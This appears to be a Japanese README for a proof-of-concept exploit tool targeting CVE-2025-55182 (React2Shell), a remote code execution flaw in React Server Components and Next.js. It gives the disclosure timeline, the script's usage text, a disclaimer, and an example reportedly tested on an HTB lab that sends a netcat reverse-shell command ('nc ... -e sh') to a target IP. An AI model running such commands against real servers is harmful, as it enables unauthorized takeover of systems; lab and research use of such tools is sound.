CVE-2025-55182-React2Shell

React.jsのサーバーサイド使用に影響する重大度10.0の深刻な脆弱性で、React.jsではCVE-2025-55182、Next.jsフレームワークではCVE-2025-66478として追跡されています。

この脆弱性は、2025年11月29日PTにLachlan Davidson氏によってMetaチームに責任を持って開示されました。最初の開示とパッチリリースは、2025年12月3日PTにReactおよびVercelによって行われました。（原文：https://react2shell.com/）

使用方法:

python3 CVE-2025-55182.py --help 
usage: python CVE-2025-55182.py -u <URL> [-c COMMAND]

CVE-2025-55182 - React Server Components RCE Exploit

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (required)
  -c, --command COMMAND
                        Command to execute on target (default: id)

Example: python CVE-2025-55182.py -u http://target.com -c "whoami"

例（HTBタスクでテスト済み）:

python3 CVE-2025-55182.py -u http://154.57.164.73:30507 -c "nc 10.0.2.4 4444 -e sh"

⚠️ 免責事項 ⚠️

本ソフトウェアおよび概念実証コードは、教育および研究目的のみに提供されています。

作者は、本プログラムの誤用または損害について一切の責任を負いません。
明示的な事前許可なくシステムに対して使用しないでください。
同意なしにターゲットを攻撃するための本ツールの使用は違法です。

あなたはすべての適用法規を遵守する責任があります。倫理的かつ責任を持って使用してください。

CVE-2025-55182-React2Shell

人気

CVE-2025-55182-React2Shell

使用方法:

例（HTBタスクでテスト済み）:

⚠️ 免責事項 ⚠️